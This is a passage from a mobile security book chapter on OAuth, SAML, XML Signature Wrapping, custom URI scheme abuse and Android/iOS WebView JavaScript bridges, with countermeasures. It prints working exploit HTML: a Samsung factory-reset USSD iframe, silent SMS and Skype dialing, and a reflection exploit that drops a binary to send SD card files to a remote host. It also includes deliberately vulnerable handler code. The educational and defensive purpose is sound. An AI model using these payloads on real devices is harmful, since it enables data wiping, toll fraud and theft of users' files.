servers on “behalf” of the resource owner, or a poorly written client could leak the 
password credentials to a third party, but the use of this grant type is an improvement 
over storing the credentials in plaintext on the mobile device and submitting them in 
every HTTP request via basic access authentication, which we still encounter during 
security assessments.

Resource
owner Client

1) Password credentials 2) Password credentials

3) Access token

Authorization
server

Figure 6-3 Resource owner password credentials grant type
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OAuth Client Credentials Grant
The final type of authorization grant type is the client credentials grant type, which is 
shown in Figure 6-4. It is clearly the simplest grant type supported by OAuth.

 1. The client starts the process by authenticating itself with the authorization 
server.

 2. The authorization server then sends the client the access token, assuming the 
proper credentials are provided by the client.

The OAuth specification makes it clear that the client credential grant type should 
only be used for confidential clients—meaning clients that are capable maintaining the 
confidentiality of their credentials. Most mobile applications do not meet these criteria 
because in a device theft scenario the confidentiality of the credentials will be breached. 
Therefore, this grant type should be avoided.

This grant type would be acceptable if the mobile application has access to a tamper-
resistant hardware component such as a secure element (SE). For instance, the client 
application first authenticates with an applet within the secure element using credentials, 
such as a PIN, provided by the resource owner, and then the SE applet provides the client 
application with client authentication information that is later passed to the authorization 
server. A lockout mechanism also needs to be implemented within the SE applet to 
prevent brute-force attacks, but this is fairly standard for Java Card applets.

Since most mobile applications cannot interface with a SE, however, this grant type 
should not be used unless the mobile application takes additional steps to protect client 
authentication information. One possibility involves forcing the user to type in a 
password of sufficient entropy every time the application launches. The password would 
be used to derive an encryption key using a key derivation function and that encryption 
key would be used to decrypt the client authentication information before transmitting 
the data to the authorization server. There are still problems with this approach, such as 
how do you securely provision the client with the authentication information?

Client

1) Client authentication

2) Access token

Authorization
server

Figure 6-4 Client credentials grant
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General OAuth Threats
Although we have briefly discussed a number of security implications by describing the 
different grant types, OAuth 2’s attack surface is large. The official threat model for 
OAuth 2 is almost as long as the actual specification of the authorization framework. 
Additionally, design flaws and implementation bugs are bound to exist in the applications 
that use OAuth and the frameworks based on this complicated specification. The 
following are some of the more serious vulnerabilities that would concern us most when 
reviewing any system utilizing OAuth. This list is by no means complete given the 
complexity of the framework.

• Lack of TLS enforcement OAuth does not support message-level 
confi dentiality or integrity, so always use TLS to prevent trivial disclosure 
of authorization tokens, refresh tokens, access tokens, and resource owner 
credentials while in transit.

• Cross-site request forgery (CSRF) Unlike previous versions of OAuth, which 
used a request token throughout the process, the authorization code grant type 
and implicit grant type fl ows are vulnerable to CSRF unless the implementation 
uses the “state” parameter, which sadly is described as an optional, but 
recommended, parameter within the 2.0 specifi cation. For example, an attacker 
can complete the fi rst step of the authorization code grant workfl ow to acquire 
an authorization code for his or her own account. The attacker can then craft a 
malicious web page and trick users into visiting it (<img src="http://www
.example.com/oauth_endpoint?code=attacker_code” />), which 
could result in the victim’s client using an access token associated with the 
attacker’s protected resource, not the victim’s.

• Improper storage of sensitive data Bulk compromise of any of the tokens 
or credentials used for OAuth represent a large risk. Therefore, the server-
side application should take suffi cient steps to protect the sensitive data with 
cryptographic controls.

• Overly scoped access tokens Scope represents the level of authorization 
associated with a specifi c access token. Does the access token allow the 
possessor to send messages on your behalf on a social networking application 
(send spam to all your friends, for instance), or does the access token only allow 
the possessor to view portions of your social networking profi le? Follow the 
principle of least privilege and restrict the scope of access tokens when feasible.

• Lack of token expiration Tokens that do not expire and are overly scoped are 
almost as good as stealing the resource owner’s credentials.
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SAML
The Security Assertion Markup Language (SAML) standard is an XML-based framework 
designed to exchange authentication and authorization data between security domains. 
The authentication and authorization data is transmitted between an identify provider 
(IdP), which produces assertions about an identity, and a service provider (SP), which 
consumes the assertions and provides access to protected resources. Since SAML has 
been widely adopted by a variety of organizations, it is no surprise that mobile web 
applications also utilize this framework for authentication and authorization purposes, 
especially for single sign-on (SSO). SAML seeks to address three primary use cases in 
which authentication and authorization data needs to be exchanged between security 
domains:

• Single sign-on The goal of SSO is to allow a user to gain access to multiple 
separate systems without having to log into each system separately. A user only 
has to log into one system and the authentication/authorization information is 
shared with the other systems without forcing the user to reauthenticate.

• Federated identity Identity federation seeks to establish an agreement on 
how to refer to a specifi c user across multiple systems. Each system may store 
different information pertaining to the user, but all systems have agreed on a 
name identifi er associated with the user. Federated identity seeks to reduce 
the amount of work required to maintain users across separate systems since 
typically each system does not need to maintain identity-related information 
such as passwords.

• Web service security SAML is fl exible in the sense that the security assertion 
format can also be used to protect SOAP-based web services.

SAML defines a set of profiles to describe how to use SAML protocol messages to 
solve the different use cases. The following is a description of the SP-Initiated Web 
Browser SSO profile that uses the Redirect/POST bindings, which is shown in Figure 
6-5. The Web Browser SSO profile is by far the most commonly used SAML profile that 
we have seen in security assessments of mobile web applications.

 1. The user attempts to access a protected resource on the SP via his or her user-
agent, but the user currently does not have an active session with the SP.

 2. The SP responds to the user-agent with a HTTP redirect (302 or 303), which 
includes the AuthnRequest message within a URL query parameter named 
SAMLRequest. The user-agent redirects to the IdP.

 3. The IdP determines whether the user is already logged in. If not, then the IdP 
asks the user to provide valid credentials.

 4. The user provides the IdP with his or her credentials, which is typically 
performed through a HTML form. SAML does not dictate what types of 
credentials must be used with the IdP for authentication purposes, but 
generally the user provides a username and password.
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 5. After successful authentication, the IdP builds a SAML assertion. The SAML 
assertion describes who the user is and any relevant authorization information. 
The SAML assertion must be signed via the XML Signature specifi cation and is 
included within a Response message.

 6. The user-agent uses a HTTP POST request to send the Response message, 
which includes the assertion, to the SP. This step is typically achieved via a 
HTML form that is automatically submitted using JavaScript as a POST request.

 7. The SP validates the SAML assertion using the included digital signature 
and then returns the protected resource to the user-agent assuming that the 
signature is valid and the user should have access to the resource. This step 
assumes that the SP has the IdP public key to validate the digital signature 
properly.

General SAML Threats
Like OAuth, the attack surface for SAML-based systems is large. The official SAML 
threat model describes five attacks that developers and architects creating SAML-based 
systems should be concerned about.

• Collusion Two or more actors may collude to attack another actor within the 
system. For example, multiple SPs may collude against users and/or the IdP.

User-agent

1) Access protected resource

Service
provider

6) POST signed response

2) AuthnRequest redirect

7) Provide protected resource

2) AuthnRequest GET request

Identity
provider

4) User logs in

3) Authentication challenge

5) Generate signed response in HTML form

Figure 6-5 SAML SP-Initiated Web Browser SSO
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• Denial of service attacks An attack designed to make the target system 
unavailable to legitimate users. We have already discussed DoS attacks that can 
be launched against XML-based web services, such as XML entity expansion 
attacks and XML external entity attacks, but there are many other examples 
such as an oversized XML DoS or a XML encryption transformation DoS that 
targets XML parsers. Or, an attacker could launch a more traditional DoS attack 
designed to fl ood the target with network traffi c.

• Man-in-the-middle attacks An attacker intercepts, and could manipulate, 
messages between two parties. For example, an attacker may intercept SAML 
assertions, user credentials, or session identifi ers in order to hijack a user’s 
accounts. The main mitigation against MiTM attacks is to use TLS or IPSec. If 
transport layer security is not enough because some of the intermediary nodes 
cannot be trusted, then the system should adopt message-level encryption and 
integrity.

• Replay attacks An attacker could intercept a message and replay it to the 
endpoint, or the originator of the message could replay it multiple times if the 
message should only be used once. For example, a hostile SP may attempt to 
replay a received SAML assertion from a user/IdP to a second SP. If the second 
SP accepts this assertion, then the hostile SP can impersonate the victim and 
retrieve protected resources associated with the victim on the second SP.

• Session hijacking attacks An attacker hijacks an existing session by acquiring 
or predicting the session identifi er used. An attacker may intercept a session 
identifi er via a MiTM attack or steal a session identifi er via a cross-site scripting 
attack. Or an attacker may use a session fi xation vulnerability to fi xate a 
victim’s session identifi er to a known value.

Other types of attacks exist against SAML besides the ones described in the official 
threat model. Consider the ability for a malicious actor to manipulate the contents of a 
SAML assertion passed to a SP. If a SP is unable to determine that the SAML assertion has 
been manipulated by the attacker, then the attacker is able to impersonate anyone in the 
system. Normally, a SP is able to detect that the assertion has been modified by utilizing 
the XML Signature standard, since all assertions must be signed by the IdP using this 
standard, but the SP may contain implementation bugs that affect the handling of 
assertion signature validation and processing. One way to pull off this type of attack 
is by exploiting an XML Signature wrapping (XSW) vulnerability in a vulnerable 
implementation of a SAML framework.

XML Signature Wrapping Attacks
During an XSW attack against a SAML-based system, an attacker captures a legitimate 
SAML response (possibly because the attacker is a legitimate user of the target system or 
because the attacker can launch a MiTM attack), modifies the structure and contents of 
the XML, and then sends the modified response to the SP. If the SP does not handle 
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signature validation and assertion processing properly, then the SP is unable to detect 
the malicious modifications to the XML document. Therefore, the attacker is able to 
impersonate other users within the system by altering the SAML response. For example, 
the attacker can manipulate the Subject portion of the assertion in order to claim to be 
an administrator or another normal user in the system.

XSW attacks were originally discussed in an academic paper entitled “The Curse of 
Namespaces in the Domain of XML Signature” by Meiko Jensen, Lijun Liao, and Jörg 
Schwenk (cs.jhu.edu/~sdoshi/jhuisi650/papers/spimacs/SPIMACS_CD/sws/p29.pdf). 
Although XSW attacks apply to any system that utilizes the XML Signature standard, it 
was disclosed in 2012 that most of the popular SAML frameworks in use were vulnerable 
to XSW attacks (see the paper entitled “On Breaking SAML: Be Whoever You Want to 
Be” by Juraj Somorovsky, Andreas Mayer, Jörg Schwenk, Marco Kampmann, and Meiko 
Jensen, nds.rub.de/media/nds/veroeffentlichungen/2012/08/22/BreakingSAML_3.pdf). 
Of the analyzed SAML frameworks, 11 out of 14 were vulnerable to serious XSW attacks 
that would allow authentication and authorization mechanisms to be bypassed in 
systems that utilized these frameworks. Although the researchers worked with the 
vendors to fix the affected frameworks, many older systems certainly still rely on previous 
versions of these SAML frameworks and even newly developed systems may continue 
to use older versions of these vulnerable SAML frameworks.

XML Signatures are typically processed by two separate modules: a signature 
validation module and a business logic processing module. Consider the XML structure 
of a typical SAML response in Figure 6-6. The SAML specifications state that the assertion 
must have an enveloped signature, so the Signature element must be a child of the 
Assertion element. The Reference element within the Signature element has an 
URI attribute, which refers to the element that should be digitally signed (Assertion 
element). Normally, the application invokes the signature validation module to determine 
whether the assertion is properly signed using the IdP’s public key. Then the business 
logic processing module extracts the assertion to provide the application with 
identification information contained within the signed assertion.

The easiest related attack to try out against a SP is simply to remove the Signature 
element from within the Assertion element and send the modified XML document to 
the SP. This attack is dubbed the signature exclusion attack, and surprisingly, Apache Axis 
2 and OpenAthens frameworks were actually vulnerable to this type of attack in the 
past. In this case, the signature validation module of the vulnerable frameworks would 
always incorrectly state that the assertion was properly signed when the Signature 
element did not exist, and the business logic processing module operated as if nothing 
was wrong.

The simplest version of a XSW attack is shown in Figure 6-7. The attacker adds a new 
Assertion element (EVIL_ID) claiming to be a different user under the Response 
element, but this added assertion does not have an enveloped signature because the 
attacker does not have the IdP private key and, therefore, cannot generate a valid 
signature for this assertion. Higgins, Apache Axis2, and IBM XS 40 Security Gateway 
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were all vulnerable to this type of attack. The signature validation module would find all 
the assertions that contained an enveloped signature, possibly using an XPath query 
looking for only Assertion elements with a Signature element as a child node, and 
then would validate the signatures. Therefore, the signature validation module would 
return successfully because the attacker did not modify the original assertion with the 
signature (SOME_ID), but the business logic processing module would actually use the 
first assertion found (EVIL_ID) in the XML document to identify the user. The academic 
study goes on to describe a large number of permutations of XSW attacks, including 
attacks that do not conform to the SAML specifications and attacks in which the signatures 
are invalid. These attack permutations should be understood and tested for in existing 
systems that use SAML.

Response

Assertion
(Signed/

Processed)
ID="#SOME_ID"

Signature

SignedInfo

Reference URI="#SOME_ID"

Figure 6-6 The structure of a normal SAML response
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XML Signature Wrapping Countermeasures
In the study, only the Windows Identity Foundation, developed by Microsoft, and 
SimpleSAMLphp were found to be not vulnerable to signature exclusion attacks or any 
type of XSW attack that was tried. SimpleSAMLphp resists attacks by first performing 
XML Schema validation based on the SAML schemas. Then SimpleSAMLphp extracts 
each assertion contained in the XML document into a separate DOM tree. For each 
extracted DOM tree, SimpleSAMLphp makes sure that each assertion is protected by an 

Response

Assertion
(Signed/

Processed)
ID="#SOME_ID"

Signature

SignedInfo

Reference URI="#SOME_ID"

ID="EVIL_ID"
Assertion

(Attacker controlled)
(Processed)

Figure 6-7 A modifi ed SAML response that includes an assertion included by the attacker
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enveloped signature and then checks the validity of each signature for each assertion. 
Finally, SimpleSAMLphp processes the assertions assuming that every assertion is 
protected by a valid signature. Essentially, SimpleSAMLphp meticulously performs 
input validation to prevent complicated XSW attacks.

Because these vulnerabilities were identified in widely used frameworks, developers 
should make sure they are using the latest version of their SAML framework of choice. 
In general, developers and testers who rely on these SAML frameworks should 
understand the complexity of the underlying SAML and XML Signature standards and 
validate that their systems are not vulnerable to similar attacks.

MOBILE WEB BROWSER AND WEBVIEW SECURITY
The mobile web browser, and the commonly used WebView component in Android and 
iOS applications, is an important part of the overall mobile attack surface and should not 
be forgotten. Organizations that wish to support multiple mobile platforms (iOS, 
Android, BlackBerry, and Windows Mobile) are daunted by the prospect of developing 
multiple separate codebases, so developers are actively seeking cross-platform 
development frameworks (see Chapter 8), which allow for the development of platform 
agnostic code. Developing a mobile web application utilizing HTML5 and JavaScript 
bridges to interface with native mobile functionality is one option to limit how much 
platform-specific code must be constructed to support diverse platforms. Understanding 
vulnerabilities that affect traditional web applications and services will remain important, 
but understanding the security implications of such cross-platform development 
frameworks will be increasingly important as adoption increases.

Exploiting Custom URI Schemes
iOS and Android both allow applications to define custom URI schemes, which can be 
triggered within the mobile browser or within another mobile application, such as an 
email client, as an IPC mechanism. This functionality also allows malicious JavaScript or 
HTML code to invoke native mobile functionality and is similar to a cross-site request 
forgery (CSRF) attack. Whereas CSRF attacks exploit the existing trust between the 
browser and the target site, these attacks can exploit the trust between the browser and 
the target mobile application. The attacker may seek to trick the victim into visiting a 
hostile website by sending the victim an email or SMS, or the attacker might exploit this 
functionality when crafting an exploit for more traditional web application vulnerabilities 
such as cross-site scripting.

Both operating systems support a number of default URI schemes, such as the tel 
scheme, which can be used to invoke the dialer from within the mobile browser. For 
example, if a user visits a web page that contains the following HTML code, then the 
phone application will open on the Android device, but the number will not be dialed 
unless the user also taps on the Call button, as shown in Figure 6-8. Similarly on iOS, 
users are prompted as to whether they actually wants to dial the number provided in the 
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URL, as shown in Figure 6-9. From a security perspective, requiring additional user 
interaction before actually calling the phone number provided in the URL is the correct 
action to take. Plenty of applications use custom URI schemes (handleopenurl.com/ 
currently lists over 600 custom URI schemes for iOS), but do they use them securely?

<html>
      <body>
            <iframe src="tel:5555555555"></iframe>
      </body>
</html>

Abusing Custom URI Schemes via Skype
In 2010, Nitesh Dhanjani documented that the Skype application for iOS supported a 
custom URI scheme (skype) but failed to prompt the user before performing actions 
such as dialing a phone number assuming the user’s credentials were cached. Therefore, 

Figure 6-8 The dialer application on Android triggered by the tel URI scheme
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if the victim has Skype installed on his or her phone and visits a hostile web page with 
the following HTML, then Skype dials the number without any user interaction:

<html>
      <body>
            <iframe src="skype://15555555555?call"></iframe>
      </body>
</html>

Abusing Unstructured Supplementary Service Data Codes
In a more extreme case, Ravi Borgaonkar revealed in 2012 at the ekoparty Security 
Conference that it was possible to trigger the parsing of unstructured supplementary 
service data (USSD) codes without user interaction on some Android devices via the tel
URI scheme. Therefore, an attacker could send the victim an SMS message using the tel

Figure 6-9 The dialer application on iOS triggered by the tel URI scheme
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URI scheme, trick the victim into going to a malicious page that includes an IFRAME, 
which uses the tel URI scheme, or craft a NFC tag that uses the tel URI scheme in 
order to force the dialer application to process a USSD code. The USSD protocol is 
normally used to communicate between mobile devices and the computers of a mobile 
network operator (MNO) as opposed to SMS, which is a protocol designed for 
communication between two mobile devices on the network. Handset manufacturers 
and MNOs are free to define their own USSD services, hence the name. Therefore, USSD 
codes that are supported on one type of mobile device or MNO might not be supported 
on a different mobile device or MNO. For example, on T-Mobile devices, dialing #686# 
returns your phone number, dialing #225# returns your current account balance, and 
#793# resets your voicemail password to the last four digits of your phone number 
(wouldn’t want that to be triggered remotely would we?).

To determine if your specific mobile device is vulnerable, type tel:*%2306%23 into 
your mobile browser. One harmless USSD code is *#06#, which shows the device’s IMEI 
number. On a vulnerable phone, the dialer application will open and the IMEI number 
will be displayed without any user interaction, as shown in Figure 6-10. While many 
possibilities exist, Ravi Borganonkar demonstrated remotely triggering a factory reset 
USSD code that was specific to Samsung devices, such as the Samsung Galaxy S III, 
which, as one might guess, will simply wipe your phone. The following HTML code 
demonstrates this exploit, which we strongly recommend not trying on an unpatched 
device unless you’re OK with losing all your data. A number of other Android devices 
were also identified as vulnerable, but only Samsung was shown to expose factory reset 
functionality via a USSD code.

<html>
      <body>
            <frame src="tel:*2767*3855%23"></iframe>
      </body>
</html>

Now that you are aware of the inherent danger of exposing custom URI schemes that 
allow websites displayed in a mobile browser to trigger native mobile functionality 
without any user interaction, we’ll review how to identify vulnerable Android and iOS 
applications.

Custom URI Schemes in Android
As we mentioned in Chapter 4 on Android security, intents are the primary IPC 
mechanism used by Android applications. The following code snippet from the 
AndroidManifest.xml file shows how a developer could define a custom URI scheme 
(someapp) within this configuration file. Visiting a URL using this scheme will cause 
this activity to execute. Note that this activity is exposed to external applications other 
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than the browser because any application on the device could send an intent to this 
activity (android:exported attribute not set to false).

<activity
      android:name=".MainActivity"
      android:label="@string/title_activity_main" >
      <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
      </intent-filter>
      <intent-filter>
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
            <data android:scheme="someapp"/>
      </intent-filter>
</activity>

Figure 6-10 A vulnerable Android device that processes USSD codes without user interaction via 
the tel URI scheme

06-ch06.indd   173 6/19/2013   1:04:22 AM



174 Hacking Exposed: Mobile Security Secrets & Solutions 

The following Java code is designed to handle the intent. In this case, the code 
validates the URI scheme used and then sends out an SMS message based on parameters 
from the query string using Android’s SmsManager class:

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Uri data = getIntent().getData();
        if(data != null && data.getScheme().equals("someapp")) {
            String mdn = data.getQueryParameter("mdn");
            String msg = data.getQueryParameter("msg");

            SmsManager sm = SmsManager.getDefault();
            sm.sendTextMessage(mdn, null, msg, null, null);
        }
    }

Exploitation is relatively simple. The attacker tricks the victim into visiting the 
following malicious page in his or her mobile browser, and the phone sends an SMS 
message to 5555555555 without the user knowing. Exposing this type of functionality via 
a custom URI scheme could be abused to conduct toll fraud remotely or harass users.

<html>
      <body>
            <iframe src="someapp://junk/
junk?mdn=5555555555&msg=Hello%20good%20sir!!!"
width="1" height="1"></iframe>
      </body>
</html>

Android Custom URI Scheme Countermeasures
Preventing exploitation of custom URI schemes is similar to preventing exploitation of 
intent-based attacks as described previously in Chapter 4 on Android security:

• Restrict access to the component via the android:exported attribute within 
the AndroidManifest.xml fi le.

• Perform input validation on all data received from intents.

• Use signature-level permissions if you need to implement an IPC mechanism 
between two trusted applications.
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Custom URI Schemes in iOS
The primary form of IPC on iOS is custom URI schemes, so we commonly see this 
type of mechanism during iOS application security assessments. To determine if an 
iOS application defines a custom URI scheme, you can inspect the Info.plist file using 
the plutil command, which is the property list utility on Mac OS X, but it can also 
be acquired on a rooted iOS device via Cydia (plutil /User/Applications/[APP_ID]/
[APP_NAME].app/Info.plist). The following is a snippet from the property list file 
that shows how an application can register for a protocol handler by setting the 
CFBundleURLSchemes key and its associated value, which is an array of URI schemes 
(only someapp in this case):

    CFBundleURLTypes =     (
                {
            CFBundleURLSchemes =             (
                someapp
            );
        }
    );

The application’s UIApplicationDelegate handles the URL via the handleOpenURL 
method after the mobile browser encounters the someapp scheme or another application on 
the device invokes this scheme. In this case, the vulnerable Objective-C code uses parameters 
from the query string to create a new file on the file system:

- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url
{
    NSArray *parameters = [[[url query]
    stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding]
    componentsSeparatedByCharactersInSet:[NSCharacterSet
    characterSetWithCharactersInString:@"=&"]];
    NSMutableDictionary *paramDict = [NSMutableDictionary dictionary];
    for (int i = 0; i < [parameters count]; i=i+2) {
        [paramDict setObject:[parameters objectAtIndex:i+1]
        forKey:[parameters objectAtIndex:i]];
    }
    NSFileManager *fm = [NSFileManager defaultManager];
    NSString *path = [paramDict objectForKey:@"path"];
    NSString *contentsStr = [paramDict objectForKey:@"contents"];
    NSData *contents = [contentsStr dataUsingEncoding:NSUTF8StringEncoding];
    [fm createFileAtPath:path contents:contents attributes:nil];
}

06-ch06.indd   175 6/19/2013   1:04:23 AM



176 Hacking Exposed: Mobile Security Secrets & Solutions 

Again, exploiting this type of vulnerability is straightforward. The attacker can trick 
the victim into visiting a hostile web page or send the victim a link via email or SMS to 
the victim’s mobile device and hope he or she clicks it. The following HTML code 
demonstrates this technique and exploits the vulnerable code to generate a new file 
within the /tmp directory:

<html>
      <body>
            <iframe src="someapp://junk/junk?path=/tmp/
blah123&contents=somejunkhere"
width="1" height="1"></iframe>
      </body>
</html>

iOS Custom URI Scheme Countermeasures
In addition to performing strict input validation on the provided URL, you can move 
away from using the deprecated handleOpenURL method and use the openURL method 
instead, which is available in iOS 4.2 and later versions. The openURL method takes two 
additional arguments that could be validated, such as sourceApplication, which is 
the bundle identifier of the requesting application, and annotation, which is a property-
list object defined by the requesting application. For example, when the custom URI 
scheme is used within Mobile Safari, then the sourceApplication argument is set to 
com.apple.mobilesafari. The following Objective-C code shows how you could 
validate the sourceApplication argument to make sure it matches the bundle 
identifier of the receiving application before handling the URL for additional processing. 
Installing applications with duplicate bundle identifiers is not allowed on iOS, but this 
type of IPC authentication is arguably weaker than Android’s signature-based permission 
checks.

- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url
sourceApplication:(NSString *)sourceApplication
annotation:(id)annotation
{
    NSString *currentApplicationName = [[NSBundle mainBundle] bundleIdentifier];
    if([currentApplicationName isEqualToString:sourceApplication]) {
        // Perform input validation on url and then process
      // the request since it came from within this application
        return YES;
    }
    return NO;
}
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Exploiting JavaScript Bridges
Both Android and iOS applications often use a WebView object to embed a browser 
component within the application in order to display mobile web content. This allows 
developers to deliver a web application within a simple thin client, which is easy to port 
across platforms. For example, the following code from an Android application shows 
the Google home page within an Activity.

WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.google.com");

Both platforms allow developers to tweak the WebView’s settings and build bridges 
between native mobile functionality and JavaScript code executing within the WebView. 
Exposing additional native functionality to mobile web applications written in HTML 
and JavaScript is a common practice, but can have disastrous security implications if 
implemented poorly. In this section, we explore a number of different ways that JavaScript 
bridges can be constructed and how they can be exploited by attackers who can load 
their own content within the victim’s WebView component. Similar to the exploitation of 
global custom URI schemes, attackers can use a number of techniques to load their own 
content into the victim’s WebView, such as the abuse of traditional web application 
vulnerabilities such as cross-site scripting, open URL redirection, or MiTM attacks, or 
attackers may be able to trigger loading of untrusted content via an IPC mechanism 
supported by the OS. While traditional web application vulnerabilities may be involved, 
attackers can typically do more damage this way because they have access to native 
mobile functionality via JavaScript.

Android addJavaScriptInterface WebView Injection
An Android application can inject Java objects into a WebView via the 
addJavascriptInterface function. This allows JavaScript code to call the public 
methods of the injected Java object. Exposing Java objects to JavaScript could have some 
negative security implications, such as allowing JavaScript to invoke native phone 
functionality (sending SMS to premium numbers, accessing account information, and so 
on) or allowing JavaScript to subvert existing browser security controls such as the same 
origin policy.

Android’s API documentation has always warned against using this feature because 
an injected Java object can manipulate the host application in unintended ways, but not 
much information exists documenting how to fully exploit these issues. An academic 
paper titled “Attacks on WebView in the Android System” by Tongbo Luo, Hao Hao, 
Wenliang Du, Yifei Wang, and Heng Yin (www.cis.syr.edu/~wedu/Research/paper/
webview_acsac2011.pdf) explores a number of unique attacks and describes a situation 
in which a file utilities object is exposed to JavaScript code, thus allowing attackers to 
manipulate the file system if an attacker can control any of the content rendered in a 
WebView via MiTM, JavaScript injection, or redirection attacks. The following example 
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code from the paper shows that the vulnerable application injects a FileUtils object 
into the JavaScript, which allows the JavaScript to write to the file system:

// Java code
wv.addJavascriptInterface(new FileUtils(), "FUtil");
...
<!-- JavaScript code -->
<script type="text/javascript">// <![CDATA[
filename = '/data/data/com.livingsocial.www/' + id +'_cache.txt';
FUtil.write(filename, data, false);
// ]]></script>

The paper goes on to state that, “In our case studies, 30% Android apps use 
addJavascriptInterface. How severe the problems of those apps are depends on 
the types of interfaces they provide and the permissions assigned to them.” Certainly, 
the permissions of the host application matter unless the attacker can also identify ways 
of bypassing Android’s security model, but do the types of interfaces exposed matter as 
implied by this academic research? The following code exposes the SmokeyBear class 
to JavaScript, but only declares one public function that returns a string. Is this interface 
safe to expose?

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        WebView webView = (WebView) findViewById(R.id.webView1);
            webView.getSettings().setJavaScriptEnabled(true);
            SmokeyBear sb = new SmokeyBear();
            webView.addJavascriptInterface(sb, "SmokeyBear");
            webView.loadUrl("http://www.example.com/android/expSd.html");
    }
...
public class SmokeyBear {
      public String getAdvice() {
            return "Only You Can Prevent Wildfires.";
      }
}

Probably not, prior to API level 17 (Android 4.2); if an application uses the 
addJavascriptInterface and allows an attacker to control the content rendered in 
a WebView, then an attacker can take control of the host application regardless of the 
type of interface exposed, contrary to popular belief within the development 
communities. Consider the following code that uses reflection to acquire a reference to a 
Runtime object via the SmokeyBear interface in order to write an ARM executable to 
the target application’s data directory and then execute it via Linux commands. The 
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entire executable is omitted for brevity, but we created a simple executable using the 
Android ARM tool chain to test this type of vulnerability that sends all files stored on the 
SD card to a remote web server to steal photos, videos, and any other data improperly 
stored on the SD card. This type of payload works against unrooted and rooted devices, 
since anything on the SD card is world readable and writable. If the attacker wants to 
break out of the Android application sandbox, an attacker could use this same technique 
to drop a root exploit onto the device (GingerBreak, RageAgainstTheCage, zergRush, 
psneuter, and so on) and then execute it.

<html>
      <body>
            <script>
            function execute(cmdArgs)
            {
                  return
SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null)
.invoke(null,null).exec(cmdArgs);
            }

            function getContents(inputStream)
            {
                  var contents = "";
                     var i = 1;
                  while(b != -1) {
                        var bString = String.fromCharCode(b);
                        contents += bString;
                        b = inputStream.read();
                  }
                  return contents;
            }

            var armBinary =
"\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\xF0\\x88\\x00\\x00\\x34\\x00
\\x00\\x00\\x80\\x22\\x00\\x00\\x02\\x00\\x00\\x05\\x34\\x00\\x20\\x00\\x06
\\x00\\x28\\x00\\x18\\x00\\x15\\x00\\x01\\x00\\x00\\x70\\x10\\x13\\x00\\x00
\\x10\\x93\\x00\\x00\\x10\\x93\\x00\\x00\\x40\\x00\\x00\\x00\\x40\\x00\\x00
\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x06\\x00\\x00
... Content removed for brevity ...
 \\x6C\\x6F\\x73\\x65\\x00\\x66\\x72\\x65\\x65\\x00";

            execute(["/system/bin/sh","-c",
"echo '"+armBinary+"' > /data/data/com.example.webviewhack/armB2"]);
            execute(["chmod","755","/data/data/com.example.webviewhack/armB2"]);
            var p = execute(["/data/data/com.example.webviewhack/armB2",
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"192.168.1.116","/mnt/sdcard"]);
            document.write(getContents(p.getInputStream()));
            </script>
      </body>
</html>

Android WebView Injection Countermeasures
Applications targeted to API level 17, and above in the future, protect against the previous 
reflection-based attack by requiring programmers to annotate exposed functions 
(@JavascriptInterface), as demonstrated by the following code. However, currently 
less than 2 percent of devices support API level 17, according to the Android platform 
versions dashboard (developer.android.com/about/dashboards/index.html), so we 
cannot realistically recommend using annotations to prevent this type of attack for a 
couple years until adoption of newer versions of Android is more widespread.

public class SmokeyBear {
      @JavascriptInterface
      public String getAdvice() {
            return "Only You Can Prevent Wildfires.";
      }
}

In the meantime, we recommend the following:

• Only use the addJavascriptInterface if the application truly loads trusted 
content into the WebView, so avoid loading anything acquired over the network 
or via an IPC mechanism into a WebView exposing a JavaScript interface.

• Develop a custom JavaScript bridge using the shouldOverrideUrlLoading 
function, which is described in the next section. Although, developers still need 
to carefully think about what type of functionality is exposed via this bridge.

• Reconsider why a bridge between JavaScript and Java is a necessity for this 
Android application and remove the bridge if feasible.

Android WebView JavaScript Bridge Exploitation via 
shouldInterceptRequest

As mentioned in the last section, an Android application can intercept URL requests 
by overriding the WebViewClient’s shouldInterceptRequest function as 
demonstrated by the following Java code. In this case, the application checks the URI 
scheme used and if it matches someapp, then the application uses reflection to acquire 
an instance of an object and invokes a function based on parameters from the query 
string. Although this example may seem unrealistic to some developers, we have seen 
very similar vulnerable code during security assessments:
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    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        webView = (WebView) findViewById(R.id.wv1);
            WVClient wc = new WVClient();
            webView.setWebViewClient(wc);
            webView.loadUrl("http://www.example.com/someRandomPage.html");
    }
...
    private class WVClient extends WebViewClient {
      public WebResourceResponse shouldInterceptRequest (WebView view, String url) {
            Uri uri = Uri.parse(url);
            if(uri.getScheme().equals("someapp")) {
                  String className = uri.getQueryParameter("c");
                  String methodName1 = uri.getQueryParameter("m1");
                  String methodName2 = uri.getQueryParameter("m2");
                  String argument = uri.getQueryParameter("a");
                  try {
                        Class klass = Object.class.forName(className);
                        Method m = klass.getMethod(methodName1, null);
                        Object o = m.invoke(null, null);
                        m = klass.getMethod(methodName2, String.class);
                        m.invoke(o, argument);
                  }
                  catch(Exception e) { }
            }
            return null;
      }
    }

Exploiting this vulnerability is similar to how global URI schemes are exploited. If 
the following HTML and JavaScript code is loaded into the WebView, then an instance of 
the Runtime object will be acquired, the exec function will be invoked, and the UNIX 
touch command will be executed to create a new file on the SD card. In this example, 
we are assuming that the host application has permission to write to the SD card 
(android.permission.WRITE_EXTERNAL_STORAGE), which is relatively common.

<html>
      <body>
            <iframe
src="someapp://junk/junk?c=java.lang.Runtime&m1=getRuntime&m2=exec&
